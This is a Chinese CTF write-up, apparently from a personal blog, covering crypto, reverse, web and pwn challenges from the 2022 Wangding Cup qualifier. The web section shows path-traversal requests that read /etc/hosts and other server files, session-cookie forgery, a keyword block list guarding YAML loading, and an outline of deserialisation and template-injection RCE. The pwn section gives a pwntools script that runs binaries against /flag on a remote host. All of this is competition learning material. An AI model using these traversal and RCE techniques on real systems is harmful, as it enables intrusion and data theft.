惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

N
News and Events Feed by Topic
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
月光博客
月光博客
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
大猫的无限游戏
大猫的无限游戏
T
Tailwind CSS Blog
S
SegmentFault 最新的问题
V
V2EX
阮一峰的网络日志
阮一峰的网络日志
C
Cisco Blogs
博客园 - 叶小钗
P
Privacy International News Feed
Jina AI
Jina AI
Apple Machine Learning Research
Apple Machine Learning Research
T
Threatpost
IT之家
IT之家
博客园 - 聂微东
Know Your Adversary
Know Your Adversary
Help Net Security
Help Net Security
罗磊的独立博客
I
Intezer
S
Schneier on Security
博客园_首页
C
CERT Recently Published Vulnerability Notes
雷峰网
雷峰网
Cisco Talos Blog
Cisco Talos Blog
宝玉的分享
宝玉的分享
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Webroot Blog
Webroot Blog
TaoSecurity Blog
TaoSecurity Blog
MyScale Blog
MyScale Blog
P
Privacy & Cybersecurity Law Blog
T
The Exploit Database - CXSecurity.com
PCI Perspectives
PCI Perspectives
Security Latest
Security Latest
H
Heimdal Security Blog
S
Secure Thoughts
Hacker News: Ask HN
Hacker News: Ask HN
Y
Y Combinator Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Microsoft Security Blog
Microsoft Security Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
SecWiki News
SecWiki News
The GitHub Blog
The GitHub Blog
A
Arctic Wolf
A
About on SuperTechFans
aimingoo的专栏
aimingoo的专栏
T
Threat Research - Cisco Blogs
Engineering at Meta
Engineering at Meta
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC

MiaoTony's小窝

CTF | 2023 强网杯 S7 线上赛 WriteUp HomeLab | 4 GPU 硬解新境界:LXC 环境下玩转 JellyFin 核显硬解转码 CTF | 2023 USTC Hackergame WriteUp HomeLab | 3 下载观影一条龙:NASTool/JellyFin/qBittorrent 半自动化家庭影院搭建指北 HomeLab | 2 OpenMediaVault 安装 & 硬盘直通 & 相关配置 CTF | 2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp Pentest | 2023 第八届上海市大学生网络安全大赛 / 磐石行动 漏洞挖掘 Walkthrough CTF | 2023 第八届上海市大学生网络安全大赛 / 磐石行动 CTF部分 WriteUp CTF | 2023 阿里云CTF / AliyunCTF WriteUp CTF | 2022 西湖论剑·中国杭州网络安全技能大赛 WriteUp HomeLab | 1 Proxmox Virtual Environment(PVE) 安装及配置 CTF | 2022 PKU GeekGame 2nd WriteUp CTF | 2022 USTC Hackergame WriteUp 0x03 CTF | 2022 USTC Hackergame WriteUp 0x02 CTF | 2022 USTC Hackergame WriteUp 0x01 CTF | 2022 ByteCTF WriteUp CTF | 2022 强网杯 S6 线上初赛 WriteUp CTF | 2022 MRCTF WriteUp CTF | 2022 CISCN 初赛 WriteUp CTF | 2022 未知之境 腾讯网络安全T-Star高校挑战赛 WriteUp CTF | 2022 数字中国创新大赛虎符网络安全赛道 初赛 WriteUp EE | Sipeed 荔枝派 LicheeRV | 1 开箱及上手入门 Pentest | 2022 1337UP LIVE CTF Walkthrough CTF | 2022 Hgame Week2 WriteUp CTF | 2022 Hgame Week1 WriteUp CTF | 2022 GZTime's 元旦红包解谜 WriteUp CTF | 2021 AsuriCTF / NUAACTF Misc 部分官方 WriteUp CTF | 2021 NCTF/NJUPTCTF WriteUp CTF | 2021 PKU GeekGame 1st WriteUp CTF | 2021 USTC Hackergame WriteUp CTF | 2021 东华杯 大学生网络安全邀请赛 WriteUp CTF | 2021 第四届“强网”拟态防御国际精英挑战赛 SU WriteUp CTF | 2021 网信柏鹭杯 WriteUp CTF | 2021 ByteCTF Misc Writeup CTF | 2021 第五空间网络安全大赛线上赛 Misc WriteUp CTF | 2021 祥云杯 Misc WriteUp CTF | 2021 DASCTF July X CBCTF 4th 部分WriteUp CTF | 2021 DASCTF July cybercms 一探再探 CTF | 2021 巅峰极客网络安全技能挑战赛 WriteUp
CTF | 2022 网鼎杯初赛 青龙组 WriteUp
文章作者: MiaoTony · 2022-08-28 · via MiaoTony's小窝

引言

2022 第三届 网鼎杯 网络安全大赛

“网鼎杯”是迄今为止全球规模最大、覆盖面最广的国家级网络安全赛事,被称为网络安全“奥运会”,目前已成功举办两届。2018年第一届“网鼎杯”在北京举办,吸引了来自全国14大关键领域,3200多家单位的7008支队伍、22455人参赛,创当时规模之最;2020年第二届“网鼎杯”在深圳举办,来自全国14大关键领域,6000多家行业单位的14724支战队、50165人线上参赛,2000人超大规模同场竞技、现场空前呈现,为业界呈现了一场全球最大规模的国家级网络安全赛事。

第三届“网鼎杯”在前两届基础上提档升级,由公安部指导,“政产学研用”各领域权威共襄盛举,打造最大规模最高水平的国家顶级赛事。本届大赛以“数字未来,共同守护”为主题,号召各行业各领域共同防御网络威胁,筑牢网络安全防线,保卫国家安全。

青龙组

2022.8.26 9:00-17:00

https://www.wangdingcup.com/

两年一度的国家级网络安全赛事,说来喵喵还是第一次打 2333.

这次和校队的几个师傅组了个队,结果比赛的时候队友不是在实习打工就是忙别的事了,于是佛系看了看题目,Misc 手又坐牢了,看 web 和 crypto 去了结果自闭了,呜呜呜(

赛后和其他师傅交流才知道 pwn 题目都有非预期,可恶啊!!!

这篇就简单写写 writeup 吧。

(又是一篇在草稿箱里长草的文章了,别问了,问就是本来说要复现的但摸了

Misc

签到

安全知识小竞赛

题目和答案都是固定的,多次尝试得到 flag

Crypto

crypto091

小A鼓起勇气向女神索要电话号码,但女神一定要考考他。女神说她最近刚看了一篇发表于安全顶会USENIX Security 2021的论文,论文发现苹果AirDrop隔空投送功能的漏洞,该漏洞可以向陌生人泄露AirDrop发起者或接收者的电话号码和电子邮箱。小A经过一番努力,获得了女神手机在AirDrop时传输的手机号哈希值,但再往下就不会了,你能继续帮助他吗?小A只记得女神手机号是170号段首批放号的联通号码。

Hash:c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc

flag格式:flag{13位电话号码(纯数字,含国家代码)}

查到联通首批170号段为1709,爆破得到结果

import hashlib

check = "c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc"

head = "861709"
for i in range(10000000):
    pNum = head + str(i)
    res = hashlib.sha256(pNum.encode('utf-8')).hexdigest()
    if(res == check):
        print(pNum)
        break
    if((i+1) % 10000 == 0):
        print(i)

crypto162

bob老师给david出了一道线代题目作为作业,要解100组数列。你能帮david完成这道题目么?

附件下载 提取码(GAME)备用下载

from secret import flag
from hashlib import md5,sha256
from Crypto.Cipher import AES
cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]



def cal(i,cof):
    if i <3:
        return i+1
    else:
        return  cof[2]*cal(i-3,cof)+cof[1]*cal(i-2,cof)+cof[0]*cal(i-1,cof)


s = 0
for i in range(100):
    s+= cal(200000,cof_t[i])


s=str(s)[-2000:-1000]
key = md5(s).hexdigest().decode('hex')
check = sha256(key).hexdigest()
verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5'
assert(check == verify)
aes = AES.new(key,AES.MODE_ECB)
data = flag + (16-len(flag)%16)*"\x00"
print (aes.encrypt(data).encode('hex'))
#4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87

直接跑,很明显,炸内存了。

于是喵喵各种优化了老半天,最后维护了个三个 int 组成的 list,通过取模来保证内存不会 boom。

exp:

"""MiaoTony"""
cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]

# r = [1,2,3,31502]
r = []
s = 0

def cal(i,cof):
    if i <3:
        return i+1
    else:
        # return  cof[2]*cal(i-3,cof)+cof[1]*cal(i-2,cof)+cof[0]*cal(i-1,cof)
        return  cof[2]*r[(i-3)%3]+cof[1]*r[(i-2)%3]+cof[0]*r[(i-1)%3]


for j in range(100):
    r = [1,2,3]
    print(f'===> {j}')
    for i in range(3, 200001):
        result = cal(i, cof_t[j])
        r[i%3] = result
    with open('result.txt', 'a', encoding='utf-8') as f:
        f.write(f"{j},{str(result)[-2000:]}\n")

最后去拿 key,解密 flag。

然而咱比赛的时候就卡在这里了……

"""MiaoTony"""
s = 0
with open('result0.txt', 'r', encoding='utf-8') as f:
    while True:
        x = f.readline()
        if not x:
            break
        print(x[:15])
        y = x.strip().split(',')[1]
        # print(y, len(y))
        s += int(y)
        # s = int(str(s)[-2000:])
print(s)

s=str(s)[-2000:-1000]
key = md5(s.encode()).hexdigest()
check = sha256(key.encode()).hexdigest()
verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5'
assert(check == verify)

# python3
key = b'S29O\x9a\xf3Z\x87\xe5\xbc{?D`xB'
aes = AES.new(key,AES.MODE_ECB)
# data = flag + (16-len(flag)%16)*"\x00"
data = bytes.fromhex('4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87')
print(aes.decrypt(data))
# b'flag{519427b3-d104-4c34-a29d-5a7c128031ff}\x00\x00\x00\x00\x00\x00'


# python2
# key = 'S29O\x9a\xf3Z\x87\xe5\xbc{?D`xB'
# aes = AES.new(key,AES.MODE_ECB)
# data = '4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87'
# aes.decrypt(data.decode('hex'))
# # 'flag{519427b3-d104-4c34-a29d-5a7c128031ff}\x00\x00\x00\x00\x00\x00'

而且 python2 和 3 这里 str 与 bytes 处理也有点不一样……

赛后才知道原来这是 矩阵快速幂,呜呜,吃了不会算法的亏。。

喵喵一定补算法基础.webp

crypto405

flag格式:flag{*}

附件下载 提取码(GAME)备用下载

from Crypto.Util.number import *
from random import randrange
from grassfield import flag

p = getPrime(16)

k = [randrange(1,p) for i in range(5)]

for i in range(len(flag)):
    grasshopper = flag[i]
    for j in range(5):
        k[j] = grasshopper = grasshopper * k[j] % p
    print('Grasshopper#'+str(i).zfill(2)+':'+hex(grasshopper)[2:].zfill(4))

exp:

a = [[0 for i in range(6)] for j in range(42)]
o = open('./output.txt').read().split('\n')
for i in range(42):
    a[i][5] = int(o[i].split(':')[1], 16)
print(a)
import wmath
ps = wmath.find_prime_until(2**16)
ps1 = []
for i in ps:
    if i > 58767:
        ps1.append(i)
print(ps1)
for p in ps1:
    a1 = a
    for j in range(4, -1, -1):
        for i in range(41, 4-j, -1):
            a1[i][j] = (a1[i][j+1] * wmath.inverse(a1[i-1][j+1], p)) % p
    try:
        f = ''
        for i in range(5, 42):
            f += chr(a1[i][0])
        print(f)
    except:
        continue
# flag{749d39d4-78db-4c55-b4ff-bca873d0f18e}

Reverse

rev694

很奇怪,好像很熟悉,但是又很陌生,继续探索,发现线索吧!

附件下载 提取码(GAME)备用下载

l = [75, 72, 121, 19, 69, 48, 92, 73, 90, 121, 19, 112, 109, 120, 19, 111, 72, 93, 100, 100]
print(f"flag{{{''.join(chr(((x ^ 0x50) - 10) ^ 0x66) for x in l)}}}")

rev693

Can u solve it manually? :)

附件下载 提取码(GAME)备用下载

  1. ZlXDJkH3OZN4Mayd
  2. UhnCm82SDGE0zLYO
print(f"flag{{{(lambda YrXQd: '%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c' % (YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31]))(''.join(hex(ord(x))[2:] for x in 'ZlXDJkH3OZN4Mayd'))}{''.join(chr([159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3][x] ^ [167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54][x]) for x in range(16))}}}")

Web

web669

附件下载 提取码(GAME)备用下载

附件里给了源码

import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session

app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()

def response(content, status):
    resp = make_response(content, status)
    return resp

@app.before_request
def is_login():
    if request.path == "/upload":
        if session.get('user') != "Administrator":
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            return None

@app.route('/', methods=['GET'])
def main():
    if not session.get('user'):
        session['user'] = 'Guest'
    try:
        return render_template('index.html')
    except:
        return response("Not Found.", 404)
    finally:
        try:
            updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
            if not session.get('updir'):
                session['updir'] = updir
            if not os.path.exists(updir):
                os.makedirs(updir)
        except:
            return response('Internal Server Error.', 500)

@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../', '')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)

@app.route('/upload', methods=['GET', 'POST'])
def upload():

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        uploadFile = request.files['file']
        filename = request.files['file'].filename

        if re.search(r"\.\.|/", filename, re.M|re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"
        
        filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
        if os.path.exists(filepath):
            return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
        else:
            uploadFile.save(filepath)
        
        extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
        if not os.path.exists(extractdir):
            os.makedirs(extractdir)

        pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
        t_beginning = time.time()  
        seconds_passed = 0
        timeout=60
        while True:  
            if pStatus.poll() is not None:  
                break  
            seconds_passed = time.time() - t_beginning  
            if timeout and seconds_passed > timeout:  
                pStatus.terminate()  
                raise TimeoutError(cmd, timeout)
            time.sleep(0.1)

        rarDatas = {'filename': filename, 'dirs': [], 'files': []}
        
        for dirpath, dirnames, filenames in os.walk(extractdir):
            relative_dirpath = dirpath.split(extractdir)[-1]
            rarDatas['dirs'].append(relative_dirpath)
            for file in filenames:
                rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])

        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
            f.write(yaml.dump(rarDatas))

        return redirect(f'/display?file={filename}')

@app.route('/display', methods=['GET'])
def display():

    filename = request.args.get('file')
    if not filename:
        return response("Not Found.", 404)

    if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
            yamlDatas = f.read()
            if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
                rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
                if rarDatas:
                    return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
                else:
                    return response('Internal Server Error.', 500)
            else:
                return response('Forbidden.', 403)
    else:
        return response("Not Found.", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

@app.route('/<path:file>', methods=['GET']) 这个路由很明显可以 跨目录任意读文件,不过要双写绕一下 ../ 的过滤

于是可以读一下模板

GET /..././..././..././templates/result.html HTTP/1.1
Host: eci-2zec0nm2rj6dcz5tbe2j.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close

没啥大用途,这里不贴了。

读 hostname

GET /..././..././..././..././..././..././etc/hostname HTTP/1.1
Host: eci-2zec0nm2rj6dcz5tbe2j.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close
localhost.localdomain

通过读 /proc/self/exe 下载回来执行,得到版本 Python 3.8.10

GET /..././..././..././requirements.txt HTTP/1.1
Host: eci-2zec0nm2rj6dcz5tbe2j.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close
Flask==2.0.3
gunicorn==20.1.0
Jinja2==3.0.3
PyYAML==5.3

于是就本地起个服务,把 app.config['SECRET_KEY'] 设置成靶机的 hostname,再把 session 里的 userupdir 给改了,拿到新的 cookie 打过去

然而用 localhost.localdomain 或者 localhost 或者 localdomain 作为 hostname,打过去都不对。

最后试了 /etc/hosts,草这咋不一样啊,也不懂是不是 docker 起来(他这应该是 k8s)没自动改 /etc/hostname。。

GET /..././..././..././..././..././..././etc/hosts HTTP/1.1
Host: eci-2ze74l0esvdjtqzyk4a2.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close
# Kubernetes-managed hosts file.
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
fe00::0	ip6-mcastprefix
fe00::1	ip6-allnodes
fe00::2	ip6-allrouters
10.16.43.198	engine-1

这个 engine-1 才是真正的 hostname。。

后来的步骤应该是构造个绕过那些过滤的 yaml 反序列化 RCE 的文件,利用 unrar 传上去解压

不过好像有个非预期是上传 html 模板 result.html,然后在里面触发 SSTI RCE,最后还要借助服务器上的 dd 命令 suid 权限提权来读 /flag

(过太久了,忘了,摆烂.jpg

Pwn

pwn497

为了安全,小明构建了一个很安全的shell,你决定give he some color look look.

附件下载 提取码(GAME)备用下载

pwn 题赛后才知道有非预期

直接寻找可执行的文件,能直接读 flag。。

使用 pwntools 遍历文件树

from pwn import *
from LibcSearcher import *
from code import interact
# context.log_level = 'debug'
context.arch = 'x86_64'

p = remote('39.107.121.211',37537, timeout=5)

def sl(s):
    global p
    try:
        p.sendline(s)
    except Exception as e:
        p.close()
        p = remote('39.107.121.211',37537, timeout=5)
        p.sendline(s)

def rl():
    global p
    try:
        rv = p.recvline()
        if not rv:
            raise Exception()
        return rv
    except Exception as e:
        p.close()
        p = remote('39.107.121.211',37537, timeout=5)
        return p.recvline()

def ru(s):
    global p
    try:
        rv = p.recvuntil(s)
        if not rv:
            raise Exception()
        return rv
    except Exception as e:
        p.close()
        p = remote('39.107.121.211',37537, timeout=5)
        return p.recvuntil(s)

def list(d):
    sl(f"ls -Al {d}".encode())
    rl()
    files = ru('mini-shell>> ').decode().splitlines()[:-1]
    fs = []
    for file in files:
        file = file.split()
        fname = file[-1] if file[-2] != '->' else file[-3]
        fs.append((os.path.join(d,fname), file[0][0]=='d', file[0][0]=='-' and file[0][9]=='x'))
    return fs

def tryexec(f):
    sl(f"{f} /flag".encode())
    print( ru('mini-shell>> ').decode() )

ru('mini-shell>> ')

allfiles = []
files = []
for file in list("/"):
    if file[1]:
        files.append(file)
    else:
        allfiles.append(file)
while files:
    file = files.pop(0)
    if not file[1]:
        allfiles.append(file)
        if file[2] and "systemd" not in file[0]:
            print(file[0])
            tryexec(file[0])

    else:
        for subf in list(file[0]):
            files.append(subf)

p.interactive()

发现 /lib/gcc/x86_64-linux-gnu/5/ 下的文件 cc1 可执行,用其读 flag

/lib/gcc/x86_64-linux-gnu/5/cc1 -o - /flag  

pwn135

上传的时候 不小心删掉了源码,导致有一部分diff不知道了 ,快来找找吧。

附件下载 提取码(GAME)备用下载

赛后知道,原来直接读 flag 就行。。

a = read('flag')
console.log(a)

小结

喵呜~

其实吧,本来说要多复现几道题的,但是好像已经过了几个月了,题目都忘记是啥了((

就这样吧,摸了

溜了溜了喵(